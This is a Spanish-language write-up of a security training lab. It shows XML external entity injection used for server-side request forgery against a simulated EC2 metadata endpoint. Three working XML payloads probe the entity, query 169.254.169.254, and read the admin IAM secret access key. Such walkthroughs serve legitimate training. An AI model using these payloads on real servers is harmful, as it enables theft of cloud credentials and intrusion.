Entrada

XXE Injection Lab 2

XXE Injection Lab 2

Skills

  • Exploiting XXE to perform SSRF attacks

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio tiene una función llamada Check stock que analiza la entrada en formato XML y devuelve cualquier valor inesperado en la respuesta. El servidor del laboratorio está ejecutando un endpoint de metadatos de EC2 (simulado) en la URL predeterminada, que es [http://169.254.169.254/](http://169.254.169.254/). Este endpoint puede usarse para obtener datos sobre la instancia, algunos de los cuales podrían ser sensibles. Para resolver el laboratorio, hay que explotar la vulnerabilidad XXE para llevar a cabo un ataque SSRF que obtenga la clave secreta de acceso IAM del servidor desde el endpoint de metadatos de EC2


Resolución

Al acceder a la web nos sale esto

Si pulsamos en View details veremos la descripción del artículo

Si pulsamos en Check stock y capturamos la petición con Burpsuite vemos que se está tramitando un XML

Vamos a insertar un DTD (Document Type Definition) y a comprobar si es vulnerable a XXE

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY xxe "Doe"> ]>
	<stockCheck>
		<productId>
			&xxe;
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

Obtenemos Doe lo que quiere decir que ha funcionado y probablemente sea vulnerable a un XXE

Con este payload hacemos un petición al endpoint, por lo cual estaríamos explotando un SSRF (Server Side Request Forgery) a través de un XXE

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
	<stockCheck>
		<productId>
			&xxe;
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

La respuesta del servidor nos devuelve el nombre, en este caso es latest, debemos ir haciendo peticiones hasta obtener la ruta del endpoint completa

Con este nuevo payload obtenemos la secret acces key del usuario admin

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
	<stockCheck>
		<productId>
			&xxe;
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

Esta entrada está licenciada bajo CC BY 4.0 por el autor.